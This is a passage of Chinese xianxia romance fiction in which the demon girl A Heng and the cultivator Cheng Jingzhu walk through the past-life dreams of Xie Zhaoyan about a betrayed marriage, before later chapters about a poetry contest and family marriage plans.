“芳如,若没有温家,我十年前就回不来了,若真那样,你们孤儿寡母不知要如何生活,”身穿赭色袍衫的父亲在书房中,拉着她的手说道。 赵芳如顿时感到一种刻骨的寒意,她从父亲掌中抽回手,不敢置信:“您果真要为了一个承诺,将女儿嫁给一个……一个渔夫?” 在此之前,赵芳如想过自己可能会有怎样的以后,但她从来没有想到过自己的归宿竟然会是一个渔夫! “他也可以不是渔夫。” 赵员外说道:“我已见过荣生那孩子,他模样生得很不错,只是因为家贫而没能进学堂,往后,我会让他进书院,即便不能求得功名也没有关系,官场不是什么好地方,但读书可以明理,增长见识,将来,你们自然琴瑟和鸣。” 赵芳如觉得这是一个噩梦,一个极为可怕的噩梦,她眼睫颤动:“爹,您真的……不能毁诺吗?” 赵员外的神情一下变得肃穆:“芳如,人无信不立。” 但见女儿眼中泪意朦胧,赵员外紧绷的脸又很快松弛下来,他忍不住去握女儿的手:“爹知道你心中有气,可这是爹当初亲口应下的事,救命之恩,君子不能言而无信,那老温当初救下我便不曾留名留姓,足见他淳朴至善,若不是因为儿子荣生,他也不会今日上门来提起这桩旧事,温家不要金银,只要这样一桩姻缘,可见他们本不是贪图钱财之人,否则当初,那老温便该要我重金酬谢了。” “芳如,你放心,爹绝不会让你受一丁点的苦。” 父亲的声音似乎还在耳边回荡,赵芳如笑着笑着,眼中却浸出泪意:“父母之命,我不敢不听,身为人女,我自当成全父亲的报恩之心,我可以嫁过来,但你回去告诉我爹,我做了温家的媳妇,那便是温家的人,我不用他任何照拂,他也不准照拂温荣生,温家已经求得了我这个报酬,那么其他任何东西都不许给他们。” “小姐!” 婢女泣不成声:“您这是何苦啊!” 赵芳如端坐床前,任由婢女如何哭劝,她宛若一尊精美的玉雕,面上没有丝毫表情,唯独那双眼,眼框越来越红,眼泪越积越多。 “你们人类不是最看重血缘亲情?” 阿姮站在门外,对身边少年道:“救命之恩有什么大不了的?怎么报不全凭自己吗?何必搞得这样惨惨戚戚。” “每个人看重的东西不一样。” 程净竹说道。 确实。 阿姮想,若是霖娘的那对父母,一见霖娘哭得不成样子,哪里还管什么诚信不诚信的,说不定还要破口大骂。 忽然,四周变得静悄悄的,阿姮再听不见那谢帮厨的娘子们的声音,她回过头的刹那,四周猛然震动,仿佛天地欲合。 面前的房门忽然风化成烟,阿姮看到房中蜡烛焰光跳跃,顿时四周失色,唯有赵芳如坐的喜床上,锦绣堆叠,鲜红一片,赵芳如抬起眼帘,眼睑淌下的泪,忽然鲜红如血。 她神情光艳而凄哀。 很快,剧烈的风将所有的画面吹皱,阿姮一把抓住程净竹的衣袖:“怎么回事?” “人的梦境是杂乱无章的,她的这段梦境已经开始坍塌了。” 程净竹说道。 “什么?”阿姮看向来时的方向,那里的砖瓦都扭曲得不成样子了,眉头一下皱起来,“可我的珠子还没拿回来。” 她可没真想将那珠子送出去! 阿姮说什么也要去拿回来,一下松开他的衣袖,却不想程净竹却一把抓住她的手腕,阿姮回过头,他却又很快松开她。 随后,阿姮见他递来一物。 修长冷白的双指中间,正是那枚穿着红绳的,流光溢彩的霞珠。 阿姮顿时露出笑容:“小神仙,你什么时候拿回来的?” 程净竹并不理她,而是敏锐地抬起头,昏黄的天空忽然开始变得灰蒙蒙的,雨若连珠,滴滴答答地响彻耳边。 阿姮将霞珠戴回手指,抬眸扫视四周,只见山野茫茫,不远处似乎有个女子弯身藏在一片连天的枯草中。 “……赵芳如?” 阿姮凭她的侧脸,辨认出她的五官,可也许是方才她对那新嫁娘身披锦绣,满头珠翠的印象太深,此时见赵芳如一身粗布衣裙,虽然容貌依旧美丽,却实在难掩憔悴。 也不知她在看些什么,她整个人看起来都很不对劲,身躯几乎僵在那片野草丛中,阿姮不禁好奇,往前数步,视线终于越过枯草,望见那片被压倒一大片的枯拜丛中,山间陡然电闪雷鸣,照亮那两道赤条条在丛中滚来滚去的影子。 很快,光影尽灭。 “瑁珠,瑁珠……快别这样,我们还是到书斋里去吧!” 雨声中,是男子粗喘着的说话声,他推拒着那柔若无骨的年轻女子,那女子靠在他的颈项,娇细的笑声响起:“荣郎,如今做了赵员外家的女婿,怎么倒如此害羞起来?从前你明明不这样,怎么,如今读了几本书,才知道羞耻不成?” 天边又有闪电亮起,但阿姮还没来得及真正看清那丛中的男女,便被忽然飞来的白符给挡住了视线,她抬手要一把拽掉,却听那少年冷冷道:“不许摘,否则,我会不再帮你修补皮囊。” 阿姮最讨厌被威胁,但偏偏他每次都能威胁到她,阿姮脸色十分难看,却到底没有摘。 视线虽然受阻,但她却听得见那男女欢笑之声,不就是璇红屏风上那些东西吗?有什么稀奇的,阿姮一下转过脸,怀疑道:“你不让我看,那你自己有没有看?” “你也不许看!” 阿姮说。 程净竹侧过脸,看向面前这少女额间几道白符层叠,几乎完全挡住了她那双眼睛,但他仍然可以看清她那副十分不高兴的神情。 “不是谁都像你有那么多好奇心。” 程净竹言辞淡淡。 “瑁珠,我哪里是读书的料呢?我如今这样,也不过是做给赵芳如看的。”山野丛中,那男人轻哄着怀中的佳人。 那佳人一臂勾住他脖颈:“看你这样苦不堪言,不得自由,哎呀荣郎,倒是我给你指错了一桩姻缘……说起来都是我的不是啊,若不是我一个妖身,自知与你不能长久,可从前是你总喂我鱼吃,我讨厌水,又总馋水里的鱼,要不是你啊,我就因为这个馋字而送命了……你对我这样好,我又如何能放心得下你呢?所以,我才让你去赵家求娶,那赵家小姐我早见过的,对你们人类来说,那便是少有的美貌,果然,有了她,你便被她管束成这样,可见她是比我好得多……” “这是什么话?” 温荣生拥住她:“我心里只有瑁珠你一个,可你当初与我那样说,我又怎好耽误你修行呢?我知道我们人妖殊途,也明白你是怜惜我,所以才告诉我你当初救过我岳父的事,是你说他耿直诚信,若我爹去认下这份恩情,我便能有一段好姻缘,我岳父的确说到做到,可我妻芳如却不是那么好的性子,我们成婚当日,她便遣退奴仆,洞房花烛夜,她又放下话来,说嫁到我家的只有她,别的什么也没有,问我心不心甘,我念及你的好意,自然答应,可那以后,我们家可让村中人瞧了好一番笑话,他们以为我温家从此以后就要靠岳父的接济,可岳父那边什么动静也没有,不知多少闲话,哎。” 温荣生又说道:“这些我都不在乎,我也诚心与芳如过日子,她让我读书,我便读,可我到底不是科举那块料,读了书又有多少用呢?但为了与她夫妻和睦,我只能如此了。” “我就说,要荣郎你读书,还不如接着捕鱼呢!”瑁珠碰着他的脸,笑盈盈地说,“但是荣郎啊,我也就回来这几天,与你过过快活日子,便又要走了,我原先救那赵员外,也不过是正好看他包袱里有腌鱼,所以顺手而为,当初救他,也没教他看到我,所以他根本不知道救他的人是男是女,所以,我才要你让你爹去为你促成这段婚事,那赵小姐怎么说也是个绝色佳人,你啊,就和她一生一世吧。” 温荣生却抓住她的手:“你又要走?瑁珠,不走行不行?” “不行啊荣郎,” 瑁珠贴着他的脸颊,“我与你在一块儿久了,你会死的,我是心疼你,你千万别辜负我的好心,我们妖怪不是总有这些好心的,是你荣郎生得模样好,又总给我最好的鱼吃,我念你的好,我这回是忍不住回来找你,但是荣郎,我们是露水姻缘,当下快活就好了。” 雨雾浓浓,山野湿润,温荣生根本招架不住瑁珠的软语,天边电闪雷鸣,而荒野之中笑语不断。 阿姮透过白符的缝隙,只见赵芳如模糊的身影。 雷鸣声声,闪电冷光不断。 赵芳如转过身来。 她身后,是沾着雨露的丛丛荻花,在风雨中摇摇晃晃,她浑身湿透,一步,一步地走来。 阿姮看到她那双脚,沾满泥水。 她走得近了,一阵猛烈的风吹起阿姮额前的白符,阿姮感觉到,那并不是真正的风,而是来自于赵芳如身上强烈的情绪。 她的情绪外化在整个梦境中,构成了更猛烈的风雨雷电。 雷声不断炸响,冷光闪烁着,映照赵芳如那张消瘦的,惨白的脸,她那双眼睛死寂,幽深,又空洞。 她离阿姮只有几步之遥,却又忽然停下。 她通红的眼睑忽然颤动一下。 阿姮以为赵芳如看到了她,但阿姮又觉得不太对劲,她几乎与程净竹同时回头,只见不远处的风雾中,不知何时竟有一道紫衣身影。 “檀郎?” 阿姮认出那人的模样,他立在那里,岿然不动,只是面露微笑。 第45章 第45章 “小神仙,给我你的血,好吗…… 风雨雷电搅弄天地, 云水相融,沸沸汤汤,那檀郎一身紫衣,一双天生含情的眼微微弯起, 在雨雾中驻足凝望。 他只是驻足在那里, 不动, 亦不言。 “他出现在这里,”阿姮的目光在那檀郎身上游移,“难道他上辈子跟赵芳如有什么关系?” “不。” 程净竹轻抬下颌:“他的衣着甚至情态都与当日我们在檀园中所见到的他一般无二。” 阿姮那日见檀郎时, 眼睛还看不到一点色彩, 所以她也并未注意那檀郎的衣着, 但此时听程净竹这么说, 她细观这檀郎神采,似乎真与那日他在檀园门口送众人归去的时候差不多。 程净竹又继续说道:“这是谢朝燕的梦境, 而人的梦境向来纷杂散碎, 若论常理,一个人是不会经常梦到自己经历过的真实记忆, 除非这段记忆对她而言过分沉重, 沉重到她难以负荷, 而人类的梦境除了自身所经历过的记忆, 还有一些基于人的所思所念而化成的幻象, 幻象,才是人类梦境的常态。” “所以,” 阿姮明白过来, “这个檀郎其实是谢朝燕的幻象。” 几乎是阿姮话音方落的瞬间,那不远处的紫衣郎身影融化在雨雾中,踪迹全无, 正如昙花一现。 阿姮回过头,那赵芳如仍站在那片枯草丛中,晦天暮雨中,她眼眶红得厉害,那双眼睛漆黑而幽深,一张惨白消瘦的脸被雨水冲刷着,她却露出笑容,灿若春花,烟润欲滴。 “哈哈哈哈哈哈……” 她竟然笑出声来。 可野草丛中的男女似乎并未被她的放声大笑所惊动,此间呈现出一副绝对诡异的画面,她的笑声与那对男女的欢笑声交织,而风雨雷电亦因她不断的笑而来势汹汹,天地融于一色,雷电重击旷野,冷光忽闪。 阿姮看着那赵芳如,这片天地也因为她的笑声而疯狂变幻,狂风乱卷,雨露沾湿阿姮的脸,滑过她的唇缝,强烈的苦涩味道竟然令她两腮发酸。 “我们走,她的梦境要坍塌了。” 程净竹的声音落来,阿姮被镣铐牵制着被动地跟随他的步履走出数步,脚下烟云匝地,身影融入风雾,她忽然回过头,赵芳如仍旧站在那里。 她那双眼虚虚地盯着一处,仿佛什么也没在看,又仿佛,她在死死地用目光擒住什么重要的东西。 闪电的冷光铺陈在窗纱,门窗紧闭的室内一盏孤灯摇曳着,拢住整个床榻的绣帐忽然被一阵强风掀起,卧在锦衾中的女子眉头紧锁,很快,两缕轻烟自她眉心化出,凝成两道身影,阿姮站定,回过身,闪电的冷光闪烁在那女子脸上,照见她满脸的泪痕。 轰隆一声雷响。 床上的女子眼睫颤动,此时门外守夜婢女的声音响起:“我们要不要进去看看小姐?她最怕打雷了……” 阿姮与程净竹相视一眼,两道身影骤然消失。 床上些找眼睁开眼睛的刹那,外面轻轻的推门声也响起,谢朝燕猛然坐起身来,贴身女婢小繁轻悄悄地从外间来,她手中那盏羊角灯光影柔和,照见床榻上那披散长发,兀自呆坐的女子,小繁不由快步走近:“小姐,您听见雷声了?” 谢朝燕起初毫无反应,小繁忙又唤了两声,谢朝燕的眼睫抬起来,橙黄的灯影落入她的眼睛,她眨动一下,看清床前的人,才终于回过神:“小繁啊。” 声音十分喑哑,像嗓子才经历过一场嘶声力竭似的。 “小姐,您怎么了?” 小繁放下灯,用手帕轻轻地擦拭女子满额的细汗。 “做噩梦了。” 谢朝燕说道。 “小姐又做噩梦了?”小繁面露担忧,“您临睡时,奴婢便给您点了安神香,想不到这香也没作用了……” 谢朝燕看了一眼不远处的桌案,案上除了一盏烛火,还有几本她随手放在那儿的书,书边,是一盏正缕缕生烟的香炉,谢朝燕忽然说道:“也不全是噩梦,我……还梦到了那位檀园主人。” “檀公子?” 小繁没去过檀园,但后来也知晓了当日两位小姐是被那位檀公子所救,小繁小心翼翼地抬眸,只见小姐身卧锦衾,没有多少血色的唇竟然有些淡淡的笑意。 外面雷声轰隆,谢朝燕瑟缩着肩,靠在小繁怀中,垂下眼帘,她的声音模糊在这夜间的风雨里:“我与他,算是有缘的吧……” 盛大的风雨袭来,冲刷着整个谢府,四下无人的廊庑中,灯火昏昧,阿姮早被忽来的雨水浇了个透,再看快步走在她前面的少年,他浑身滴雨不沾,脚下连一点尘泥也没有,一副金身未破的高洁模样。 阿姮故意放缓脚步,缀在他身后。 镣铐一紧,程净竹步履一顿,他转过身,看向阿姮,此时他方才注意到她浑身湿透的狼狈模样,晶莹的雨露顺着她秀挺的鼻梁滴下。 镣铐忽然变回银色的法绳,冰冷地擦过她的手背,回到他的腰间,一时珠饰轻响,昏黄的灯影间,阿姮揉了揉自己的手腕,一双眼睛漆黑发亮:“小神仙,你说,这个谢朝燕到底为什么要将自己恢复前世记忆的事瞒得死死的?她又没做什么亏心事,反倒是那女妖和男人坑她骗她,我要是她……” 阿姮哼笑一声:“我肯定一把火烧死他们。” 廊外雨声淅沥,程净竹开口道:“也许正是因为她们执根深种,所以才无比警惕,那是被拔除过她们身体中的执根促使她们生出的警觉之心,她们无比看重那份记忆,也自知这份属于上辈子的记忆不为阴律所容,自然不敢让任何人发现。” “回去吧。” 程净竹瞥了一眼她湿润的鬓发。 阿姮见他要转身,便一把拉住他的衣袖:“我们不去看谢澹云的梦了?” 程净竹抽出衣袖:“你在谢澹云身上留了东西,难道感觉不出她根本没睡?” 从檀园回来后,大夫人孙氏便在积玉那里讨了符,就贴在谢澹云的房门上,程净竹通过那符咒上的阵法感知到谢澹云此时根本没有入睡。 因为一个人清醒时的气息与入睡后的气息是不同的。 “我知道啊,”阿姮看着自己空空的手掌,撇撇嘴,“把她打晕不就睡着了。” 程净竹面无表情地转过身:“她的执根无比警觉,你越以外力相逼,它便藏得越深。” “什么破执根烂执根!怎么这么麻烦!” 阿姮跟上去,见他走入雨幕,她又停在廊上,喊:“小神仙。” 程净竹停下,回过头。 雨露随风斜飞入廊,偶尔在灯下晶莹可见,那少女靠在朱红的廊柱上,雪白的裙袂滴着水,她轻轻抬起一只手,苍白纤细的腕骨上,有一道深痕。 那是法绳化成的镣铐所致。 她笑着说:“这是你弄的。” 雨幕中,少年衣摆洁白,风雨从他身边擦过,他睨着少女凝白腕上的痕迹:“阿姮姑娘想怎样?” 晶莹的雨露沾染阿姮的手腕,她说:“我方才一直乖乖听你的话,但你还是弄坏了我的壳子……” 阿姮的目光落在他淡色的唇,笑意更浓:“小神仙,给我你的血,好吗?” 他今夜身上一直有浓重的血气,那味道实在芳香,不知道他是哪里受了伤,阿姮从他那副洁净的外表下看不出丝毫的端倪。 但她的喉咙早已经又干又渴,在谢朝燕梦中她便一直强压这股本能,此时,潮湿的雨气中,那血气仿佛更重。 雨中少年身长玉立,神情不变:“我若不给,你待如何?” “我可以帮你找火种啊。” 阿姮说道。 “我也在帮你取执根。” 程净竹淡淡说道。 “……” 阿姮一下收敛笑容,摸着自己的手腕:“早知如此,还是别解开那镣铐的好,只要我们一直待在一起,说不准什么时候,我便能咬你一口,也就用不着问你的意见了。” 她丝毫不掩火气。 夜越深,雨越重,积玉在廊上走来走去,不知多少个来回,直到听见一阵轻微的步履声,他抬起头往雨幕里看去,见程净竹孤身行来,积玉忙迎上去,唤:“小师叔!” 程净竹应了一声,走到廊上,推开房门。 积玉才要跟进去,目光却忽然凝在槅门上,原本素白的窗纱却多了一点鲜红的血迹,积玉一下冲入室内:“丹茎符纸是昆仑丹草根茎所制成的符纸,用它,可指明迷途,可入侵梦境,我早该想到的,您向师父要来这东西,是为了帮那阿姮姑娘!” “谢氏女困于执根,上辈子的事,这辈子还要执迷不悟,迟早会害了她们,”程净竹坐到桌边,“所以,我并不是完全为了帮她。” “可是小师叔,” 积玉看向他的衣袖,“丹草只有萎顿之后才能取下根茎,而萎顿的根茎制成我药王殿的符纸后,只有灌注鲜血方能使其短暂地恢复鲜活之态,从而迸发其能,此法耗费气血,若非遇到难以走出的迷障,谁都不会使用这东西……小师叔,那是个妖女。” 帮一个妖女,何必如此。 “积玉。” 程净竹看向他:“谁教的你这些?” 积玉心神一凛,连忙低下头:“不,小师叔,我……” “你在药王殿二十一年,师兄的教诲,你可铭记于心?” “积玉自然铭记!天生万物,各有缘法,人并不比妖高贵,人可以活在世上,妖也可以,药王殿只除恶,不求同,这些,积玉铭刻于心,不敢忘记,可……” 积玉抬起头来:“可那阿姮是对谢家小姐起过杀心的,她性情乖戾,杀欲难止,岂能向善?” “就因为她有杀欲,所以便要除去?” 敞开的槅门外夜雨声声,程净竹的声音响起。 积玉说道:“我知道,我不应该因为她是妖而对她心存偏见,可是,小师叔,师父也说过,妖没有人类的道德,不明白善恶,他们有无穷尽的欲望。” “人就没有无穷尽的欲望?” “这……” 积玉一时无言,好一会儿才说:“她会明白这些吗?” “我并不在乎她明不明白。” 程净竹垂下眼帘:“但我会教她。” 积玉闻言一怔,他自小就在上清紫霄宫药王殿,他很小的时候,师祖便从山下抱回来一个婴孩,那婴孩被锁在药王殿洞府中很多年,积玉十四岁时,才真正见到他。 他是师祖的关门弟子,是药王殿中最出色最年轻的弟子。 他年纪很小,但积玉很尊敬他,也有点怕他,因为他很多时候根本不像一个十几岁的人类少年,他身上有种莫名的严寒,从没有过丝毫温情的一面。 小师叔,就如同药王殿的戒律一般没有温度。 但积玉此时却明显感觉到了那么一点不寻常的东西,他忍不住张口:“您为何总要帮她?” 程净竹说道:“是我将她从赤戎带了出来。” 天色转亮,风雨俱停。 谢澹云一大早乘马车出了门,就停在河边上,阿姮站在树下,听霖娘在旁碎碎念:“上回也是这儿,她怎么总来这儿?又不下马车。” “谁知道。” 阿姮撇撇嘴,她转过脸,街边早食摊上热气腾腾,但她根本嗅不到一丝气味,但她看到旁边有个小摊,卖的正是她在谢朝燕梦中见到的那种油炸糖果子的形状,虽然她此时无法辨认是不是同样的金黄色泽,但她还是推了推身边的霖娘:“我想吃那个!” 霖娘被她一推,往那边看了一眼:“你现在不是尝不到味道吗?” “我晚上吃啊。” 阿姮说道。 “哦,”霖娘点了点头,可一摸身上,她讪讪一笑,“我没钱了。” 阿姮奇怪地盯她:“你钱呢?” 霖娘有点脸红:“我,我都买胭脂了……” 阿姮无言,她看了一眼那摊子上摆了一堆的油炸糖果子,一把抓住程净竹的衣袖:“小神仙,你给我买那个。” 程净竹瞥一眼她的手。 阿姮不知道松开,还摇来晃去:“反正我要去拿了。” 说完,她直接跑到那食摊面前去了。 霖娘看着她让那摊主直接给她装了一大油纸袋,霖娘忍不住看向程净竹,小心翼翼地说道:“程公子,要不然你……” 程净竹那双剔透的眸子盯着阿姮,她拿了一油纸袋的糖果子,转身就朝他们跑过来,那摊主一副目瞪口呆的样子,像是从没见过这样光明正大吃白食的。 “程公子……” 霖娘硬着头皮才又喊了一声,却见程净竹已经走了过去,阿姮兴冲冲地与他擦身,看了他一眼,很快跑到霖娘面前来,把东西放到霖娘的布兜里。 积玉早就在阿姮抓他小师叔衣袖的时候就有点黑脸了,他忍不住对阿姮说道:“阿姮姑娘,你最好离小师叔远一点。” 阿姮闻言,一下看向他,却笑:“为什么?” “小师叔是修行之人,他只有道心,没有红尘之心,”积玉说着,看向已经走到食摊边的程净竹,“他是药王殿最出色的弟子,是殿师最好的继承人,你如果再执迷不悟,只会害了你自己。” 霖娘一听这话,她立即看向阿姮,却见阿姮脸上没有一点悲色,她仍旧笑盈盈的,说:“我就不。” “……?” 积玉气得不轻,此时却见程净竹手中握着那各色破布缝成的丑荷包,递给摊主一粒碎银,积玉早就想说了,此时也真说了出来:“小师叔到底哪儿来的那荷包!” 霖娘一下仰头看天。 阿姮却十分骄傲地抬起下巴:“我给他做的啊。”《 》 45-50 第46章 第46章 他嗓音很冷,有种莫名的压迫…… 清晨的天色还不够明亮, 街市上的烟火气却已经很是浓郁,程净竹穿过那层淡淡的烟气,回到树下来,见积玉神色古怪, 便问:“怎么了?” 积玉动了动嘴唇, 欲言又止, 到底还是摇了摇头:“没什么……” 但他的目光却忍不住落在程净竹遥测的那只破布荷包上。 “你们快看。” 霖娘忽然说道。 阿姮最先顺着她的视线看去,只见河边马车中下来个婢女,似乎是谢澹云的贴身婢女香豆, 正好此时对岸江天楼中有一短衣奴仆走过石桥, 奔马车而来, 那香豆迎了上去, 从那奴仆手中接过一个朱漆托盘,奴仆似乎说了几句什么, 香豆的神色一下变得雀跃, 她立即转身往回走,却忽遇一阵清风, 顿时托盘中的纸页飞散, 香豆一惊, 连忙扬手去抓。 她只来得及抓住眼前几页, 却仍见一页擦过她的手背, 随风飞去,香豆的目光追随那纸页,只见一只苍白纤细的手一把抓住了它。 香豆一喜, 抬眸望见那只手的主人,白衣红襟,乌发云鬓, 那样一张苍白而艳丽的面庞,一双眼睛笑盈盈的。 香豆一怔,那似乎正是……借住在府中的贵客? 风吹得纸页猎猎作响,阿姮瞥见上面数行墨痕,便问霖娘:“这上面写的什么?” 霖娘看了看,说:“是诗句吧。” 她其实不太懂这些。 阿姮就更不懂什么诗句不诗句的了,那边香豆掀开马车帘子,对坐在里面的小姐道:“小姐,咱们遇见府中的贵客了。” 谢澹云闻言,一下抬头。 青灰的晨光底下,谢澹云对上那白衣少女的目光,她心脏陡然一缩,却见那少女眉目含笑,举步朝她而来。 积玉见此,忙唤:“小师叔……” 但见小师叔似乎无动于衷,积玉又闭了嘴。 “阿姮姑娘。” 香豆见阿姮走近,便欠身唤道。 阿姮对她笑了一下,随后看向马车中的谢澹云,大约是因为一夜未眠,所以谢澹云眼下有些淡淡的青色,此时她看着阿姮,脸色越来越苍白。 阿姮抬手,双指间是那一页薄薄的纸,她看着谢澹云,却问香豆:“这是谁写的诗?” 香豆见她将那页诗句放回自己的托盘中,便笑着说道:“这是我们小姐写的,今日在江天楼中夺了魁呢!” “哦,”阿姮看向她托盘中厚厚的一叠,“那些也是吗?” “不,这些都是其他士子所作。” 说着,香豆抬起下颌:“除了檀公子,谁也比不过我家小姐。” “香豆。” 谢澹云呵斥一声。 香豆吓了一跳,抬头,只见马车中小姐的脸色十分难看,香豆慌了神,不知自己哪里惹小姐生气,便连忙低下头,不敢说话了。 谢澹云望了一眼不远处,那里两位上清紫霄宫的仙长正朝她们这边看来,她抿紧唇,忍不住说道:“你们……究竟要做什么?” 阿姮看着她这副忍无可忍的模样,微微一笑:“不做什么啊,只是好奇而已。” “这与你有什么相干?你到底在好奇些什么?”谢澹云的语气愈急。 “你怎知道与我没有相干?” 阿姮不紧不慢。 谢澹云嘴唇颤抖,下颌绷紧。 阿姮几步走近马车窗边,见谢澹云如临大敌般地往车内退去,她一把掀起帘子,下颌抵在窗边,顿时红雾如缕,强压着谢澹云的后颈,逼得她猛然身躯前倾。 她与阿姮的距离近在咫尺,可她却感受不到来自于阿姮的一点呼吸,那种急促的呼吸声只属于她自己,发觉这一点,谢澹云的眼中惊恐更甚。 阿姮缓缓凑到她耳边,声音很轻:“谢澹云,我的好奇心很重,但我的耐性却很差,我如果撬不开你这张嘴……” 她微微往后退了点,望着谢澹云那张煞白的脸,笑着说:“我绝不会放过你。” 谢澹云不知道,为什么上清紫霄宫的人身边竟然会有这样邪性的姑娘,她非但没有人类的呼吸,此时更没有人类的情态,她虽然在笑,神情却很阴冷,那是一种令人脊骨发寒的冷。 “你……” 谢澹云的声音止不住地颤抖:“你到底要做什么?你为什么一定要知道我……” “是我在问你。” 阿姮盯着她:“该是你回答我。” 谢澹云紧紧地攥着绣帕,眼中又是惊惧又是愤怒,却很快在沉默中化为死寂,好一会儿,她开口:“阿姮姑娘,求你,求你们都放过我……” 阿姮还没有等到她的下文,却忽然感到胸腔中黑色的火焰炽盛烧灼,黑色的气流兴奋地冲撞,阿姮脸色一变。 阿姮胸腔剧痛一下,她踉跄地往后退了两步,却忽然撞上一堵墙,她后知后觉地转过头,却撞见少年剔透的眼睛。 “你怎么了?” 阿姮听见他问道。 她一笑:“没怎么啊。” 程净竹浓密的眼睫微垂,似乎是在凝视她的神情,随后淡色的唇轻启:“说实话。” 他嗓音很冷,有种莫名的压迫感。 “好吧,”阿姮不知道他为什么可以这样敏锐,但为了他的心,为了自己的壳子,她站直身体,轻抬下颌,“是火种,但,与上次一样,我才刚察觉到它,它就又没了动静。” 程净竹眉头微蹙。 阿姮忽然凑到他耳边:“我说实话了,可以给我你的血吗?我闻不到别的味道,因此你的味道就显得更……” 程净竹面无表情地抬手捂住她的嘴。 “阿姮姑娘?” 此时,一道清越的声音响起。 阿姮一下转过脸去,也因此,她的嘴唇,脸颊,自程净竹的掌心轻轻擦过,她一眼望见石桥上的晨雾中,一紫衣郎被一众奴仆簇拥着下桥而来。 程净竹收回手,掌心似乎还残留一点轻微的痒意,但他抬起眼帘,看向那名越来越近的紫衣郎。 紫衣郎似乎像是才注意到他,一笑:“原来程仙长也在。” “檀公子为何在此?” 程净竹波澜不惊。 “哦,江天楼今日揭晓本月的诗魁,我与友人约定在此一聚,”说着,檀郎又看向阿姮,笑问,“不知阿姮姑娘你们又为何在此啊?” “来买糖果子,”阿姮说着,看向马车内的女子,语气缓慢,“不想,却遇见澹云小姐。” 檀郎闻言,不由看向马车中,他与谢澹云视线一触,便微笑:“澹云小姐,我出来这趟,正是来寻你。” 谢澹云低垂眼眉,鬓边的流苏轻轻晃动:“不知檀公子所为何事?” “也并没有什么,” 檀郎说道,“檀某三日后要在檀园中办一诗会,虽无上官坐镇,却还有几位书画大家在场,小姐之才,檀某早已领略,某想邀澹云小姐,还有朝燕小姐赴会。” 谢澹云闻言,一怔。 檀郎的奴仆黄安立即将两张请柬递给马车边的香豆,香豆却不知该不该接,有些迟疑地看向马车中的小姐。 “多谢公子了。” 谢澹云说道。 香豆这才接了请柬。 此时,东边街市上一架马车驶来,快到河边,那马车中有女婢掀开帘子往外看了一眼,便对马车中的人说了几句话。 马车很快在不远处停了下来。 帘子再度被那婢女掀开,那婢女最先露出脸来,那赫然便是谢朝燕身边的小繁,小繁很快退开,帘内,那容貌年轻娇艳的女子抬起眼帘。 她最先看到那白衣少女。 她脸色一变。 很快,她又看到站在那少女身边的少年修士,以及……那位紫衣郎,她神情微动。 最终,她的目光凝在那马车的窗内。 天色依旧灰蒙蒙的。 她与谢澹云彼此相视,面目阴沉。 第47章 第47章 “你懂什么一心一意?”…… 谢澹云回到府中, 此时天色明亮许多,清晨的雾气不知不觉散去,她一进院,打扫落叶的奴仆们便低下头唤“大小姐”, 谢澹云一抬头, 便见廊下站着两名婢女, 她们正是在母亲身边服侍的人。 谢澹云到了廊上,一面进门,一面将身上的披风解下来交给香豆, 她撩开珠帘往内室里去, 果然见母亲孙氏正在软榻上坐, 身边有个老妈子贴身服侍。 “娘。” 谢澹云走上前, 欠身唤道。 明亮的日光铺满朱窗,孙氏抬起眼帘, 便见女儿满肩明光, 绿鬓朱颜,简直像一株沾着晨露的兰草, 生机无限, 馥郁芬芳, 但孙氏却忽然叹了口气:“云儿, 你一大早跑出去做什么?” “女儿去江天楼外等一个结果。” 谢澹云说道。 什么结果, 谢澹云不说孙氏也知道,孙氏精心描画过的细眉拧起来:“娘说的话,你从来不听。” 谢澹云一怔。 香豆连忙说道:“夫人, 小姐并未入江天楼中,我们是在河对岸等的结果,夫人, 小姐她夺魁了……” 香豆的话还没说完,却被孙氏打断:“与一帮男人争什么诗魁。” 香豆顿时噤声。 孙氏看着面前的女儿,声音泛冷:“你当那是科举吗?你正正经经地将那些当回事,可那些不过是男人们附庸风雅的消遣,是消磨时间的把戏,对于他们来说,这些远不如高中来的重要,你想在这上头证明你比他们强吗?哪怕你年年魁首,也不过一个女子而已,能成什么大器?他们照样不会把你放在眼里。” “女儿才不在乎他们时是如何想的,难道识文断字,勤学苦读一定是为了科举吗?”谢澹云摇摇头,说,“女儿不是个男身,自己也明白不能有男儿那样的抱负,女儿不过是为了自己高兴,他们男人当消遣的事都不能赢我,我又为何要妄自菲薄?” 女儿在诗文上一向一根筋,孙氏常因此而头疼,此时她又被女儿这番话驳得哑口无言,干脆一把将她拉过来:“王都来信,你祖父问起你姐妹二人的婚事,似乎已经有为你们择婿的打算了!” 谢澹云闻言,心下陡然一紧,她忙问:“祖父他到底是什么意思?” 孙氏说道:“我看信上你祖父的意思,似乎是要在王都给你先找一门好亲事,毕竟你是谢家的长女,你祖父从前又很疼你爹,定然不会亏待于你,云儿,若你的亲事真定在王都官宦之家,为娘的,也就放心了!” 王都? 孙氏还在絮絮叨叨说些什么,也许是对二房的抱怨,又或者是在怪父亲死得太早,但谢澹云已经无心听这些了,她的手在袖中攥紧了绣帕。 也许祖父会因为惦念父亲而给她寻一门好亲事,门当户对,官宦之家,吃穿不愁。 “不,” 谢澹云一下回握住孙氏拉着她的那只手,抬起眼睛,“娘,我不要祖父给我选。” 孙氏愣了一下,随后皱起眉:“云儿,你说什么傻话呢?父母之命,媒妁之言,此等终身大事,必得是你祖父来定,他疼你,不会让你嫁给那不好的人家,趁着你祖父还在,你快别再任性!” 孙氏的话有些严厉,若论平日里,谢澹云是最知温凊的,从来孝顺,也从不忤逆,但孙氏此时却觉得女儿似乎有些怪异,她就站在面前,却一言不发,竟然像块顽石,风雨不动,眼波无澜。 “云儿!” 孙氏拧眉喊道。 谢澹云却忽然俯身跪在孙氏面前。 “你这是做什么?”孙氏说道。 谢澹云整个人都浸润在一层明亮的光线里,但她低首垂眉,神情融在阴影里,模糊不清:“女儿不孝,不敢欺瞒亲娘,若非我意中人,今生今世,非君不嫁。” 孙氏简直以为自己听错了,她一下站起来:“什么?你有意中人了?” 午后的日光最盛,但因秋风飒飒,削减了许多温暖,阿姮手里提着一支毛笔,起初坐姿还很端正,但不过一会儿,她就像摊泥一样软软地趴在桌边,毛笔被她蘸满了墨,懒洋洋的在纸上勾来划去。 “坐好。” 身后,一道声音落来。 阿姮转过脸,看向坐在不远处的那个白衣少年,他手中握着一只茶碗,热雾浮过他的眉眼,他的目光与她相触:“是你说要学写字。” 